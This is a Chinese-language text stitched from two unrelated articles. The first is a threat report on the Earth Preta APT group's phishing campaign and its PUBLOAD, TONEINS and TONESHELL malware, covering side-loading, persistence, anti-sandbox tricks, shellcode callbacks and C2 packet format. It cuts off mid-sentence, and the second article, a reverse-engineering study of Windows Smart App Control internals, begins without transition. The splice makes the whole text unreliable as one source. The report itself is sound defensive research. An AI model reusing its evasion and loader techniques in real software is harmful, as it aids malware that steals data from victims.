Earth Preta組織從3月開始就在全球肆虐,其開發的惡意軟件家族包括TONEINS、TONESHELL和PUBLOAD。 Earth Preta又名Mustang Panda或Bronze President。該組織的攻擊對象包括但不限於緬甸、澳大利亞、菲律賓、日本等國家。

趨勢科技的研究人員最近發現Earth Preta濫用虛假谷歌賬戶,通過魚叉式網絡釣魚電子郵件傳播惡意軟件,這些電子郵件最初存儲在一個存檔文件(如rar/zip/jar)中,並通過Google Drive鏈接傳播。然後誘騙用戶下載並觸發惡意軟件執行TONEINS、TONESHELL和PUBLOAD。 PUBLOAD之前已被報導,我們會在本文將其與TONEINS和TONESHELL聯繫起來,後者是該組織在其活動中新使用的惡意軟件家族。

此外,攻擊者利用不同的技術來逃避檢測和分析,如代碼混淆和自定義異常處理程序。我們還發現,魚叉式網絡釣魚郵件的發件人和Google Drive鏈接的所有者是相同的。根據用於誘騙受害者的樣本文件,我們還認為,攻擊者能夠對目標組織進行研究,並可能事先對其進行破壞,從而使其變得熟悉,這在之前被洩露的賬戶名稱的縮寫中有所顯示。

在這篇文章中,我們討論了Earth Preta的活動及其策略、技術和程序(TTP),包括新的安裝程序和後門。

受害目標分析根據我們對這一威脅的監測,誘餌文件是用緬甸文寫成的,內容是“僅限內部”。文件中的大多數主題都是國家間有爭議的問題,包含“機密”或“機密”等詞 ,這可能表明,攻擊者將緬甸政府作為他們的第一個立足點。這也可能意味著,攻擊者在攻擊之前就已經對特定的政治對象進行了破壞,Talos研究人員此前也注意到了這一點。

攻擊者利用竊取的文件作為誘餌,誘騙與緬甸政府機構有合作關係的目標組織下載並執行惡意文件。受害者涵蓋了世界範圍內廣泛的組織和垂直領域,其中亞太地區的受害者集中度更高。除了在緬甸開展合作的政府辦事處外,隨後的受害者還包括教育和研究行業等。除了以涉及特定組織的正在進行的國際事件為誘餌之外,攻擊者還用與色情材料有關的標題引誘個人用戶下載。

2.png

Earth Preta的目標行業分佈

攻擊進程Earth Preta使用魚叉式網絡釣魚郵件作為攻擊的第一步。如前所述,一些郵件的主題和內容討論地緣政治話題,而其他郵件可能包含聳人聽聞的主題。我們觀察到,我們分析的所有電子郵件中都嵌入了Google Drive鏈接,這表明用戶可能會被誘騙下載惡意文件。文件類型包括壓縮文件,例如.rar、zip和.jar。訪問鏈接後,我們了解到文件包含惡意軟件TONEINS、TONESHELL和PUBLOAD。

4.png

有關會議記錄的電子郵件文檔,可能是從先前的攻擊中竊取的

魚叉式網絡釣魚電子郵件通過分析電子郵件的內容,發現Google Drive鏈接被用來誘騙受害者。電子郵件的主題可能為空,或者可能與惡意文件同名。攻擊者沒有將受害者的地址添加到電子郵件的“收件人”標題中,而是使用了假電子郵件。同時,真實受害者的地址被寫在“CC”標題中,可能會逃避安全分析,延緩調查。使用開源情報(OSINT)工具GHunt來探測“收件人”部分中的那些Gmail地址,我們發現了這些虛假賬戶,其中幾乎沒有信息。

此外,我們觀察到一些發件人可能是來自特定組織的電子郵件帳戶。受害者可能會相信這些郵件是由可信的合作夥伴發送的,這增加了收件人選擇惡意鏈接的機會。

虛假文件我們還發現了一些與緬甸政府對象相關或與之合作的組織有關的虛假文件。其中包含了緬甸和中國大使館之間的粗略會面時間表。另一份文件與日本科學促進協會(JSPS)有關,該協會為研究人員提供在日本進行研究交流的機會。值得注意的是,壓縮文件附件中主要是圖片。用於下一層側加載的惡意DLL和可執行文件也包含在其中。

5.png

有關政府會議(左)及海外研究交流(右)的虛假文件樣本

此外,還有其他內容主題多樣的誘餌文件,包括地區事務和色情內容。但是,當受害者打開這個文件夾中的假文檔文件時,沒有相應的內容出現。

其他攻擊途徑我們觀察到至少三種類型的攻擊途徑,包括通過Google Drive鏈接、Dropbox鏈接或其他託管文件的IP地址分佈在世界各地的30多個誘餌文件。在我們收集的大多數樣本中,都有合法的可執行文件,以及側加載的DLL。誘餌文件的名稱在每個案例中都有所不同。在接下來的部分中,我們將以其中一些為例,介紹每一個的TTP。

DLL側加載在該示例中,有三個文件:“~”, Increasingly confident US is baiting China.exe和libcef.dll。值得注意的是,誘餌文件和可執行文件的名稱可能不同,詳細信息將在下一節中介紹。

6.png

誘餌文件

7.png

PUBLOAD文件中的誘餌文件

可以看出“~”文件是一個誘餌文件。 Increasingly confident US is baiting China.exe是一個合法的可執行文件(最初名為adobe_licensing_wf_helper.exe,即adobe licensing wf helper)。這個可執行文件將側載惡意的libeff .dll並觸發導出函數cef_api_hash。

首次執行時,可執行文件嘗試通過複製.exe文件和移動libcef.dll(趨勢科技將其命名為Trojan.W32.PUBLOAD)。

8.png

惡意活動

快捷鏈接惡意文件包含三個文件:New Word Document.lnk、putty.exe和CefBrowser.dll。特別是,DLL和可執行文件被放置在名為“_”的多層文件夾中。

9.png

攻擊者利用.lnk文件通過使用WinRAR解壓縮文件來安裝惡意文件。完整的命令行如下所示。

10.png

Pputty.exe偽裝成一個正常的可執行文件,其原始文件名為AppXUpdate.exe。當它被執行時,它會加載CefBrowser.dll,並在它的導出函數CCefInterface:SubProcessMain中執行主例程。它還濫用schtask來實現持久性。

10.png

惡意軟件在這次活動中,研究人員識別出使用了以下惡意軟件,即PUBLOAD、TONEINS和TONESHELL。

Trojan.Win32.PUBLOADPUBLOAD是一個可以從其指揮控制(CC)服務器下載下一級有效負載的stager。該惡意軟件於2022年5月由Cisco Talos首次披露。

一旦.dll被執行,它首先通過調用OpenEventA來檢查相同的進程是否已經在運行。根據Barberousse發布的推文,一些值得注意的事件名稱被識別為Twitter上其他網絡安全研究人員的用戶名,如“moto_sato”、“xaacrazyman_armyCIAx”和“JohnHammondTeam”。值得注意的是,這些研究人員與PUBLOAD沒有任何關係,只是被二進製文件中的攻擊者有意提及。

14.png

PUBLOAD中特殊事件名稱的示例

持久性分析PUBLOAD在

1. 添加註冊表運行項

15.png

2. 創建計劃任務

16.png

反分析技術:帶有回調的APIPUBLOAD惡意軟件在內存中的AES算法中解密shellcode。 shellcode是通過創建線程或使用不同的API調用的。 API可以接受回調函數的參數,作為觸發shellcode的替代方法。我們觀察到一些利用API的情況,包括GrayStringW、EnumDateFormatsA和LineDDA,可以將其視為繞過反病毒監視和檢測的技術。

17.png

PUBLOAD中的shellcode回調示例

18.png

接受回調函數的API

CC協議解密的PUBLOAD shell代碼收集計算機名和用戶名作為第一個信標的有效負載。有效負載將使用預定義的RC4 (Rivest Cipher 4)密鑰進行加密。在撰寫本文時,到目前為止我們看到的所有階段都共享相同的密鑰。

加密後,stager使用特定的字節序列作為其數據包的標頭。它在加密數據之前加上神奇的字節“17 03 03”和有效負載大小。

19.png

PUBLOAD惡意軟件中使用的RC4密鑰(頂部)和數據包主體(底部)

20.png

PUBLOAD中的請求數據包格式

stager還檢查響應包是否具有相同的魔術標頭“17 03 03”。在內存中下載的有效負載將被視為一段shellcode,並將直接執行。

值得注意的調試字符串在2022年初,我們發現了一些嵌入調試字符串的PUBLOAD示例。它們被用來分散分析人員對主要感染程序的注意力。

21.png

PUBLOAD中分散注意力的調試字符串

Trojan.Win32.TONEINSTrojan.Win32.TONEINS是TONESHELL後門的安裝程序。安裝程序將TONESHELL惡意軟件放入%PUBLIC%文件夾,並為其建立持久性。 TONEINS惡意軟件通常出現在誘餌文件中,在大多數情況下,TONEINS DLL的名稱是libcef.DLL。惡意例程通過調用其導出函數cef_api_hash來觸發。

TONEINS惡意軟件被混淆,可能會減慢惡意軟件分析的速度。它的控制流中包含大量垃圾代碼,並且有大量無用的XOR指令,似乎暗示這些指令用於解碼字符串。經過檢查,我們發現這些混淆的代碼是從開源存儲庫中重用的。

23.png

TONEINS中的代碼混淆

安裝程序通過使用以下schtasks命令建立TONESHELL後門的持久性:

24.png

被釋放的TONESHELL惡意軟件的文件名大小寫不同,計劃任務的名稱也不同。建立持久性後,TONESHELL將合法的可執行文件和惡意的DLL複製到%PUBLIC%文件夾,其中兩個文件的名稱在誘餌存檔中都以“~”開頭。在本示例中,~$220220817.docx是用於DLL側加載的合法可執行文件,而~$20220617(1).docx是要安裝的TONESHELL後門DLL。

25.png

帶有虛假文件擴展名的文件

Backdoor.Win32.TONESHELLTONESHELL惡意軟件是本次活動中使用的主要後門。它是一個shellcode加載器,在內存中使用一個32字節的密鑰加載和解碼後門shellcode。在早期版本的TONESHELL中,它具有來自TONEINS惡意軟件的功能,包括建立持久性和安裝後門。然而,最新版本的TONESHELL是一個獨立的後門,沒有任何安裝程序功能(例如文件~$Talkpoints.docx)。它也以類似於TONEINS惡意軟件的方式被混淆,表明攻擊者繼續更新武器庫以繞過檢測。

反分析:進程名稱檢查為了確保TONESHELL被正確安裝,Backdoor.Win32.TONESHELL首先檢查進程路徑是否與預期路徑匹配。如果是,則自定義異常處理程序可能會觸發惡意代碼。

26.png

TONESHELL中的進程名稱檢查

反分析:c++中的自定義異常處理程序有趣的是,攻擊者使用自定義異常處理程序的實現隱藏了實際的代碼流。將根據進程名稱檢查的結果調用不同的異常處理程序,通過調用_CxxThrowException觸發異常來繼續惡意例程。調用後,C++運行時將從ThrowInfo結構一直到_msRttiDscr結構中的CatchProc成員找到相應的異常處理程序,其中包含真正的惡意代碼。在此示例中,異常處理程序位於偏移量0x10005300處。這種技術不僅隱藏了執行流,而且還停止了分析師調試器的執行。

27.png

C++中異常處理的數據工作流;黃色圓圈中的CatchProc成員是要調用的惡意異常處理程序

28.png

異常處理程序中的主要惡意例程

反分析:ForegroundWindow檢查查看最近的TONESHELL示例,我們注意到與早期版本相比,添加了新的反沙盒技術。較新的版本調用GetForegroundWindow API兩次並檢查是否有任何窗口切換。如果環境是沙盒,兩個調用將獲得相同的窗口句柄,因為大多數沙盒中不涉及人工交互,導致前台窗口不更改。此外,作為一種反沙盒和延遲執行技術,惡意例程只有在前台窗口已經切換了第五次時才會被觸發。

29.png

更新的TONESHELL示例中的GetForegroundWindow檢查

30.png

第五個窗口開關觸發的惡意例程

Shellcode解碼觸發惡意異常處理程序後,它開始解碼下一階段的TONESHELLshellcode。要解碼shellcode,它首先在與0x7D的XOR運算中解碼一個32字節的密鑰,然後該密鑰將用於解碼shellcode主體。

31.png

解碼前(中間)和解碼後(底部)32字節密鑰(頂部)和TONESHELLshellcode的示例

不斷改進的變體我們發現了TONESHELLshellcode的幾種變體:

32.png

TONESHELL變體之間的差異

變體ATONESHELL在設計上支持多達10個CC服務器,但在我們F發現的所有示例中,只使用了一個CC服務器。在連接到CC服務器之前,它使用受害者的捲序列號和計算機名生成一個受害者ID(變量unique_id),或者使用一個隨機生成的GUID。

33.png

查找TONESHELL中支持的10個CC服務器

34.png

在TONESHELL變體A中用於生成受害者ID的算法

在第一個信標中,它從受害者的設備收集以下數據並將其發送到CC服務器:

當前進程ID;

卷序列號;

使用者名稱;

計算機名稱;

產品名稱;

操作系統位;

進程列表;

TONESHELL通過原始TCP進行通信,請求標頭和響應標頭以特定

本文會詳細分析Windows即將推出的最大安全功能——智能應用控制(Smart App Control,SAC)。 “智能應用控制”功能是什麼,為什麼我認為它是Windows 中最牛的安全功能之一。首先,SAC 會嵌入在操作系統中,啟用後將阻止惡意或不受信任的應用程序。這與AppLocker 非常相似。

在之前一篇文章中,我們看到了SAC是如何啟用和初始化的。在本文中,我們將討論SAC如何執行這些操作。即使SAC是一個新功能,該功能使用的大部分代碼也已經在操作系統中了。我的意思是,在22H2之前的版本中,通過使用適當的策略規範,可以獲得類似的行為。總之,SAC的最大變化是MS將激活特定的WDAC策略,類似於啟用HVCI時,操作系統如何啟用Driver Block Rule策略。

需要注意的是,因為我們在這篇文章中看到的很多內容在操作系統中已經存在了很長時間。 AppLocker或AppID等功能利用了它。當然,有幾個方面只適用於SAC,我一定會注意到這些。從好的方面來看,這篇文章的絕大多數可以推斷出其他WDAC策略是如何評估的。

1.png

SAC運行在本節中,我們將重點關注CI處理來自內核的驗證請求所採取的步驟。我們將深入探討此過程中涉及的主要例程,還將討論CI使用的一些主要結構。正如我剛才提到的,這些步驟中的大多數並不是SAC獨有的,無論啟用哪種策略,都將採取這些步驟。如上圖所示,我們看到有三個主要的評估來源。據我所知,這些要點與以下功能/策略規範有關,至於是選擇使用一個或多個評估取決於策略規範。

OriginClaim (EAs or Token): 託管安裝程序、AppLocker、SmartScreen和SAC;

Query 防禦措施: Intelligent Security Graph (ISG) SAC;

Policy FileRules: 通用於所有具有FileRule的策略。

2.png

在上一篇文章中,我們已經說過全局g_CiPolicyState具有位NW_ENABLED,這意味著SAC已啟用,SAC策略(強製或評估)處於活動狀態,並存儲在g_SiPolicyCtx中。現在,讓我們看看CI向內核提供的回調,看看內核的驗證方式。以下函數建議執行某種類型的驗證:

CiValidateImageHeader;

CiValidateImageData;

CiValidateFileAsImageType;

CiRevalidateImage;

在本文中,我將只關注CiValidateImageHeader。

CiValidateImageHeader可以說,此函數是大多數CI驗證的主要入口點。內核將從MiValidateSectionCreate中引用的SeValidateImageHeader調用此函數。 CiValidateImageHeader將處理CI初始化的第2階段,主要初始化minCrypt、ETW、Lookaside緩衝區等。一旦完成(只有一次),第一步是獲取指定映像(CiGetActionsForImage)行為。此函數將根據諸如Requested SigningLevel之類的內容,或者如果對象來自受保護進程或系統進程,來確定將要進行的驗證操作,這些操作是位字段枚舉,但我不知道大多數值的含義.

操作進行後,函數就可以開始驗證映像了。如果操作變量設置了位0(action_FILE_In_CACHE(0x1)),則CI將嘗試獲取之前為此FO設置的任何驗證數據,並重新驗證。

在本文中,我們不會涉及CI緩存及其驗證原理。本質上,它將嘗試獲取內核EA:$Kernel.Purge.CIpCache或$Kernell.Purge.ESBCache(請參閱函數CipGetFileCache)。然後,它會將策略應用於CiApplyPolicyToSyntheticEa內的這些屬性。這個例程最終將調用CipApplySiPolicyEx,我們稍後將詳細討論。

如果未設置“file in cache”屬性,則會分配用於處理驗證的主結構(CipAllocateValidationContext)。此結構用於所有類型的驗證,例如,此上下文也用於HVCI驗證(請參閱CiHvciSetValidationContextForHvci)。一旦分配了這個上下文,我看到UMCI驗證會發生兩個操作。

如果設置了位2(ACTION_PAGE_HASH(0x4)),驗證函數為-CipValidatePageHash;

如果設置了位8(ACTION_FILE_HASH(0x100)),驗證函數為-CipValidateFileHash。

CipValidateImageHash將接收發生操作的Validation函數作為函數指針。無論傳遞的是什麼函數指針,PageHash還是FileHash,CipValidateImageHash最終都會調用它。在這兩個驗證函數中,CI都會使用被驗證對象的信息更新驗證上下文。諸如FileInfo(CipUpdateValidationContextWithFileInfo)、文件版本(CiGetFileResourceInformation)、嵌入簽名(CipImageGetCertInfo)或對象哈希(Page CipCalculateHeaderHash或File CipCalpulateImageHash)。有了所有這些信息,代碼將通過函數CipApplySiPolicyEx方法繼續應用策略。

對於未簽名映像的驗證,驗證函數將返回STATUS_INVALID_IMAGE_HASH,代碼將進入CipApplySIPolicyUMCI,最終調用前面提到的CipApply SiPolicyEx。相反,對於簽名文件,將從CiVerifyPageHashSignedFile或CiVerify FileHashSingedFile訪問此函數。簡單說明一下,這兩個函數有它們的HVCI對應函數CiHvciXxx。

CipApplySiPolicyEx顧名思義,此函數將把策略應用於正在驗證的對象。該函數將首先設置兩個結構,然後將其傳遞給驗證引擎。一個結構將保存正在驗證的ImageFile的信息,而另一個結構則包含“外部”授權過程所需的信息,我說“外部”授權是因為MS在驗證對象的回調函數名中使用了“外部”授權這個詞。

這兩個結構將存儲在Validation Context中,並且實際上都將被來自Validation Context的數據填充。其中一個包含映像數據,我命名為CI_VALIDATE_IMAGE_DATA,其中包含以下內容:

3.png

另一方面,外部授權結構(我將其命名為CI_EXTERNAL_AUTH)具有以下有趣的值:

4.png

在調用驗證引擎例程之前,CipApplySiPolicyEx將設置一個結構數組,其中包含每個策略的驗證結果,該數組的大小將等於活動策略的數量。我將此結構命名為CI_VALIDATION_RESULT,它具有以下字段:

5.png

最後,我們準備調用SIPolicyObjectValidationEngine,它具有以下原型:

6.png

這個例程將簡單地遍歷策略和補充策略,為每個策略調用內部例程SIPolicyValidateImageInternal。

內部驗證例程的任務是調用外部授權回調,以從“外部源”獲取驗證分數。它將根據此分數,選擇繼續或不繼續根據策略中的規範評估映像。我們將首先關注外部回調,設置為函數CipExternalAuthorizationCallback,然後我們將討論如何評估策略規範。

從代碼中我可以看到,這與MS在文件規範優先順序一節中聲明的有些不同。他們說“它將首先處理它找到的所有顯式拒絕規範。然後,它將處理所有顯式允許規範。如果不存在拒絕或允許規範,WDAC將檢查託管安裝程序EA。最後,如果這些集合都不存在,WDAC會回到ISG”。相反,在代碼中,似乎在處理FileRule之前檢查了託管安裝程序和ISG(外部授權)。

CipExternalAuthorizationCallback這個函數包含了SAC的核心功能,即使它從21H2到22H2沒有太大的變化,當啟用SAC時,有一些細節會造成很大的不同。儘管如此,我們將要討論的大部分內容都將被AppLocker和ISG使用(並且已經被使用了),所以從好的方面來看,我們也將從中學習一些東西。為了概述我們是如何做到這一點的,下面是我們到達外部授權回調時的堆棧,用於驗證未簽名映像時的堆棧。

7.png

該函數將通過檢查策略選項Intelligent Security Graph Authorization(智能安全圖授權)或Managed Installer(託管安裝程序)啟動,如果這些選項都沒有設置,則該函數將退出,SIPolicyValidateImageInternal將繼續處理策略FileRule,我們將在稍後的章節中看到這一點。

如果設置了任何選項,下一步是根據簽名級別確定映像是否可信。這是通過使用為映像獲取的ValidatedSigningLevel,並將此值與全局變量g_CipWhichLevelComparisons內索引為0xC的位掩碼進行比較來實現的。

請注意:全局變量g_CipWhichLevelComparisons存儲了一個指向ulong數組的指針。每個值表示適用於此簽名級別的比較級別。通常與已驗證的簽名級別一起使用,以確定映像的不同操作/選項。例如,對於等於“File Unsigned”(即數組中的索引1)的已驗證簽名級別,位掩碼為0xFFFFFFFE,因此大多數情況下測試此位掩碼時,結果都為正值。在其他情況下,如上所述,索引在代碼中被硬編碼為僅作用於與該索引的位掩碼匹配的已驗證簽名級別。下表有望幫助理解g_CipWhichLevelComparisons和ValidatedSigningLevel之間的關係。

8.png

如上表所示,索引0xC表示位掩碼0x5000,表示“Windows簽名”和“Windows TCB簽名”。此外,接下來的兩個級別“僅用於.NET NGEN編譯器的簽名”和由使用AMPPL的產品的反病毒簽名”也將包含在可信映像列表中。此時,函數將繼續調用CipCheckSmartlockerEAandProcessToken以獲得第一個驗證分數。

我覺得這是一個討論命名的好時機,希望微軟的人能聯繫到我,並澄清命名。有人稱之為Smart App Control和Nights Watch,也有人稱之為AppLocker,內部名稱似乎是SmartLocker。相同或非常相似的事物有4個不同的名稱。這確實有點令人困惑。

該函數具有以下原型:

9.png

這個函數有兩條路徑,其中一條總是被執行,另一條基於booleanIsTrustedSigning。如果不受信任,那麼下面的EA將被查詢為正在驗證的文件對象,它也試圖從當前流程文件對像中獲得相同的EA,但除了存儲在驗證上下文中,我沒有看到它們在其他地方被使用。

$ Kernel.Smartlocker.Hash: 包含映像的哈希;

$ Kernel.Purge.Smartlocker.Valid: 布爾值是否有效;

$Kernel.Smartlocker.OriginClaim: 包含我命名為EA_ORIGIN_CLAIM的結構。

10.png

如果獲得了有效的EA,那麼將檢查OriginClaim結構以確定圖像的分數。 Origin值將決定第一個分數,如果Origin==0,則score |=1,如果Origin==1,則score |=0x1002。

不過我對這方面了解不多。這很可能與WDAC在策略中設置託管安裝程序選項時在AppLocker中使用的特殊規範集合有關。這很可能與在策略中設置託管安裝程序選項時WDAC使用的AppLocker中的特殊規範集合有關。從我所看到的,我知道appid.sys確實設置了此EA,另一種設置此EA的方法是通過CI回調cisetcachedorigin聲明。這個函數在發出帶有標誌0x2000的syscall NtSetCachedSigningLevel時被內核調用,當然不像調用這個syscall來設置EA origin聲明那麼容易,如果這個syscall以前的模式是UserMode,那麼NtSetCachedSigningLevel2將確保請求來自一個受保護的進程。

下一步,無論我們是否檢查了EA,都是獲取存儲在令牌對像中的OriginClaim。對於令牌對象,origin聲明存儲在令牌的SecurityAttributes列表中,這些屬性存儲為Authz SecurityAttributes,並且可以使用函數sequerysecurityattributeken按名稱查詢/檢索。在本例中,將尋找兩個安全屬性:

SMARTLOCKER://ORIGINCLAIM;

SMARTLOCKER://SMARTSCREENORIGINCLAIMNOTINHERITED(Newin22H2,previously“SMARTLOCKER://SMARTSCREENORIGINCLAIM”)

首先將查找OriginClaim。如果發現,分數將相應調整。同樣,我對這方面不太了解,也沒有有關此聲明的結構外觀的信息(appid.sys設置此值令牌)。

之後,將查詢SmartScreen OriginClaim未繼承屬性,如果它被發現並設置標籤CLAIM_DANGEROUS_EXT (0x80) (這不是官方名稱),然後函數將繼續檢查ImageFile是否有被認為是危險擴展名。同樣,在所有情況下,代碼都將檢查ImageFile是否具有InstallerExtension。對於安裝程序擴展,它只會檢查.msi,對於危險擴展的情況,這些值如下:

11.png

如果ImageFile與這些值中的任何一個匹配,則分數將設置為DangerousExtension (0x800),並通過調用CiCatDbSmartlockerDefenderCheck向防禦措施發出查詢,有關此函數稍後將詳細討論。

下面的偽代碼或多或少地展示了SmartLocker非繼承屬性的最後一部分是如何工作的。

12.png

注意: 根據稍後如何使用此函數中的值來填充TraceLogging字符串,我們知道防禦措施將評估過程的所有這一部分視為: Is防禦措施Shell。

這或多或少就是我們通過在調用之後立即雙擊從資源管理器啟動的進程所需要的:

13.png

CipCheckSmartlockerEAandProcessToken的情況就這樣了,現在再說說CipExternalAuthorizationCallback。

現在,讓我們說說Intelligent Security Graph所使用的代碼段,它現在已被擴展以添加一些SAC功能。首先,將再次檢查策略選項Intelligent Security Graph Authorization(智能安全圖授權),如果未設置,函數將使用從CipCheckSmartlockerEAandProcessToken獲取的值退出。如果該值在策略中處於活動狀態(SAC策略就是這種情況),該函數將使用前面討論的IsTrustedSigning來確定它是否應該繼續。如果映像可信,將執行以下檢查:

如果ValidatedSigningLevel等於“由使用AMPPL(7)的產品的AV簽名”,並且策略的值為VerifiedAndReputableAllowAntiMalware,則分數將用值AllowAnti Malware(0x100000)進行異或運算,函數將返回。

如果映像不可信,則函數將繼續查詢防禦措施。如上所述,向防禦措施發出查詢的函數是CiCatDbSmartlockerDefenderCheck。此函數將接收兩個MPFILE_TRUST_EXTRA_INFO結構,一個填充請求數據,另一個接收回複數據。代碼還將從FileObject傳遞FileName。 MPFILE_TRUST_EXTRA_INFO結構如下所示。

14.png

雙方之間的通信是使用RPC實現的,CI.dll將實現客戶端,服務器將在cryptcatsvc.dll中實現。為了記錄,RPC存根的IID是f50aac00-c7f3-428e-a022a6b71bfb9d43。

cryptcatsvc在服務CryptSvc中運行。在用於RPC服務器的發送函數中,我們重點關注以下函數:

s_SSCatDBSmartlockerDefenderCheck(Alreadypresentin22H1);s_SSCatDBSmartlockerDefenderCheck2(Newto22H2);s_SSCatDBSendSmartAppControlBlockToast;s_SSCatDBSendSmartAppControlSwitchEnforceToast;SmartLockerDefenderCheck函數的v1和v2之間的最大區別在於,在v2中,該函數接受請求和回复MPFILE_TRUST_EXTRA_INFO作為其參數的一部分。這兩個函數最終都調用了助手函數CatDBSmartlockerDefenderCheckHelper。

CI將從這些函數調用s_SSCatDBSmartlockerDefenderCheck2,它將首先加載MpClient.dll。

注意:在第一次執行時,將在防禦措施配置中啟用SmartLocker。該函數將調用MpClient導出的函數MpSmartLockerEnable。此函數只需註冊Defender ELAM證書信息(打開Wdboot.sys的句柄並調用InstallELAMCertificateInfo),然後使用RPC從MpSvc.dll調用方法ServerMpEnableSmartLocker,它將檢查防禦措施配置中是否設置了SmartLockerMode,如果沒有,它將寫入。

打開庫的句柄後,該函數將使用CI.dll提供的文件名來打開一個文件句柄,該句柄將被傳遞給MpClient導出的函數MpQueryFileTrustByHandle2,該函數只在來自於DefenderCheck2時被調用,如果是舊版本的DefenderCheck,則將調用MpQueryFileTrustByHandle。

在MpQueryFileTrustByHandle2內部,代碼將使用該文件的句柄來創建文件映射,該文件映射將被防禦程序用於對其進行內存掃描。下面的InSequence函數將通過從MpClient(客戶端)到MpSvc(服務器)發出RPC調用來執行。顯然,我們剛才看到的所有函數調用都接受CI.dll設置的MPFILE_TRUST_EXTRA_INFO作為參數的一部分。

ServerMpRpcMemoryScanStart:設置CMpMemScanContext和CMpMemScanEngineVfz(使用GetAttributeTrustCheck作為GetAttributions函數),並進行異步掃描;

ServerMpRpcMemoryScanQueryNotification:檢索掃描信息;

ServerMpRpcMemoryScanClose:關閉並清除CMpMemScanContext。

這些函數的內部結構不在本文所講的範圍,我想強調的是,當啟用SAC時,防禦措施將主動掃描文件並進行雲查詢。

從掃描檢索到的信息中有三個可能的信號:

0x31001:檢索到的MPTRUST_INFO(IGS);

0x31002:檢索到的MPFILE_TRUST_EXTRA_INFO(SAC);

0x4005:與RSIG_VIRINFO相關;

最後完成防禦措施通信,下圖顯示了代碼到達防禦措施時客戶端(CI)和服務器(cryptcatsvc)堆棧。

15.png

需要注意的是,如果我們的SAC處於強制狀態,並且設備中沒有互聯網連接,則默認操作是阻止該進程,並且將顯示一條通知,提示“智能應用程序控制無法驗證此應用程序,請檢查您的互聯網連接,然後重試”。

返回外部授權回調,如果RPC調用失敗,則未設置策略設置VerifiedAndReputableAllowUnknown,並且ValidateSigningLevel不是以下任何一項:

MicrosoftStoresignedappPPL(ProtectedProcessLight)MicrosoftStore-signedMicrosoftsignedWindowssignedOnlyusedforsigningofthe.NETNGENcompilerWindowsTrustedComputingBasesigned然後將驗證分數與值Unattainable(0x40000)進行異或運算,函數將返回。如果RPC調用成功,則將調用函數CiHandleDefenderSignals。顧名思義,此函數將處理防禦措施發送回的消息。它將遍歷返回的元素數,其中每個元素的類型為MPFILE_TRUST_EXTRA_INFO。根據ReplyType字段,它將執行不同的操作。更有趣的兩種情況是:首先,當返回信任結果時。在該示例中,信息將指向MP_INFO_RESULT,其中的值將復製到驗證上下文:

16.png

第二個有趣的示例是信息指向MP_NW_CONTROL枚舉。在該示例中,根據控制命令,該功能將被禁用或切換到強制模式。這基本上將更新VerifiedAndReputablePolicyState RegKey,並更新WorkItem中的策略。

17.png

在我們從學習模式更改為強制模式的情況下,將發出對函數s_SSCatDBSendSmartAppControlSwitchEnforceToast的RPC調用。在此函數中,DLL wldap . DLL將被加載,然後調用函數WldpSendSmartAppControlSwitchEnforceToast。

從信號處理程序回來後,有一些細微差別。如果NW控制命令設置了標誌IsUnfriendlyFile,則Score將更新為值UnfriendalyFile(0x80000),函數將返回。如果未設置標誌,則TrustInfo和FileObject將被傳遞到帶有標誌0x82的函數CipSetFileCache中,這意味著EA$Kernel.Purge.CIpCache將用於存儲此信息。

最後,需要根據防禦程序返回的信任調整分數,有5個選項:

Trust==1:分數將使用值0x202進行異或運算,不過我對這個值不太了解;

Trust==-1 (0xFFFFFFFF):如果策略設置VerifiedAndReputableAllowUnknown被設置,則分數將使用值AllowUnderknown(0x20000)進行異或運算;

Trust==-2 (0xFFFFFFFE):分數將使用值Malicious (0x80)進行異或運算;

Trust==-3 (0xFFFFFFFD):分數將用PUA(0x100)值進行異或運算;

任何其他情況下,分數將用值0x42進行異或運算。

這幾乎就是外部授權回調的全部內容,現在我們回到調用外部授權回調時的SIPolicyValidateImageInternal!

SIPolicyValidateImageInternal在進入外部授權回調之前,我們將討論SIPolicyObjectValidationEngine函數如何遍歷策略並調用內部SIPolicy ValidateImageInternal,後者稍後將調用外部auth回調。現在,調用回調後,我們返回到SIPolicyValidateImageInternal,並返回驗證分數。如果啟用了SAC,則該函數將繼續評估分數,並將此分數傳播到驗證引擎分數,並根據該得分設置相應的NTSTATUS。

18.png

如上圖所示,在大多數分支中,它會將相應的NTSTATUS設置為驗證狀態,然後跳轉到我所稱為ProcessDbgAndReprieve的狀態。這只不過是一種檢查內核調試器是否附加到調試器控制台中以記錄策略衝突的方法。

19.png

如果未遵循前一個映像中的任何分支,或者分數為Unattainable但設置了AllowUnknown,則函數將繼續根據策略規範評估對象。首先檢查文件規範,這將在函數SIPolicyMatchFileRules內完成。此函數將接收以下參數:

具有要評估的文件規範的策略;

OriginalFileName;InternalName;FileDescription;ProductName;我強烈建議閱讀MSDN的“理解Windows防禦應用程序控制(WDAC)策略規範和文件規範”一節,以了解更多關於策略規範和可用於它們的不同選項的內容。

與我們在第1部分中看到的Policy Secure Settings類似,該函數將使用作為key傳遞到函數bsearch的數據建立一個結構。關鍵結構具有以下原型:

20.png

bsearch函數的base和num將取自SI_POLICY結構。將策略解析為SI_policy結構時,將設置一個包含兩個場景的數組。每個場景都包含其特定的文件規範、允許的簽名者、拒絕的簽名者和異常規範。如上所述,當調用SIPolicyMatchFileRules時,要評估的場景的特定數量被傳遞給函數。此數字將用作函數的索引,以了解要選取Scenarios數組的哪個元素。每個場景都由以下結構表示:

21.png

如果沒有FileName級別的文件規範匹配,則函數將繼續計算哈希級別的文件規範:

22.png

如果FileName或Hash匹配,則SIPolicyMatchFileRules返回TRUE,驗證狀態將設置為status_SYSTEM_INTEGRITY_POLICY_VIOLATION。

如果對SAC策略使用的哈希和文件名感興趣,可以查看策略的FileRule標籤下的整個列表。

如果沒有匹配的文件規範,則下一步(如果映像已簽名)是根據“拒絕”和“允許”簽名者驗證簽名鏈信息。首先,將檢查被拒絕的簽名者。如果與前面相同的規範在此匹配,該函數將把驗證狀態設置為status_system_integrity_policy_violate。如果沒有拒絕簽名者規範匹配,代碼將繼續檢查允許的簽名者規範。在該示例中,如果存在匹配,則會清除以前的任何狀態/分數。根據策略簽名驗證映像簽名的過程主要在函數SIPolicyValidateChainAgainstSigner中完成。此函數將作為第一個參數接收映像的SI_CHAIN_INFO,並在@r8中接收POLICY_SIGNERS_DATA。

